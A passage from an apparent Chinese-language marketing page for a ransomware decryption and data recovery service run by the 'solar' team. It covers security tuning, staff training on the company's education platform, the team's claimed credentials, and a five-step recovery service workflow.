监控网络流量日志，以便在勒索病毒传播的早期阶段及时发现异常。
6.2 安全设备调优
目标
主要目标设备
6.3 全员安全意识增强调优
目标：
形式：
线下培训与宣贯：采用面授形式，通过系统化的课程安排，确保全员深入理解网络安全的核心概念和防护措施。
线上替代方案
我司自主研发的知行网络安全教育平台结合多种培训方式的组合，灵活应对不同场景，确保每位员工具备扎实的网络安全意识与技能。
知行网络安全教育平台
视频学习功能
AI助教功能
题目练习功能
自主练习功能
7.团队介绍
solar团队数年深耕勒索解密与数据恢复领域，在勒索解密和数据恢复领域建立了良好的声誉，以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业，都能提供量身定制的服务，确保每一个被勒索软件侵害的数据都能够恢复到最佳状态，同时在解密数据恢复后，提供全面的后门排查及安全加固服务，杜绝二次感染的风险。
同时，solar团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。
团队也先后通过了科技型中小企业、创新型中小企业认证、ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS（信息技术服务运行维护标准四级）以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证，已构建了网络安全行业合格的资质体系。
More
8.数据恢复服务流程
① 免费咨询/数据诊断分析
专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后，您可自主选择以下下单方式：
双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。
数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。
⑤ 数据验收/安全防御方案
完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。
客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。
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